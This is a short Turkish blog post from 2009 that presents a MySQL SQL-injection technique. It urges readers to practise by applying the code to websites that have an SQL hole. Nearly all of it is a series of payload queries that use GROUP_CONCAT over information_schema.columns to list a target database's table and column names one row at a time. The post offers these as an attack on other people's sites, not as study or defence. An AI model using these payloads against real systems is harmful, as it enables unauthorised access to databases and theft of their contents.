27 Ağustos 2009 Perşembe

GROUP_CONCAT MySQL SQL Injection

Yeni Mysql Injection teknigi . Pratik için deneme yapabilirsiniz arkadaslar mesela Sql açigi olan bir siteye bu kodu uygulayarak baslayabilirsiniz ; SELECT CONCAT(TABLO_ADI,’>’,GROUP_CONCAT(KOLON_ADI)) FROM information_schema.columns …

SELECT CONCAT(table_name,’>’,GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 1,1

SELECT CONCAT(table_name,’>’,GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 2,1

SELECT CONCAT(table_name,’>’,GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 3,1
SELECT CONCAT(table_name,’>’,GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT n,1

0 yorum: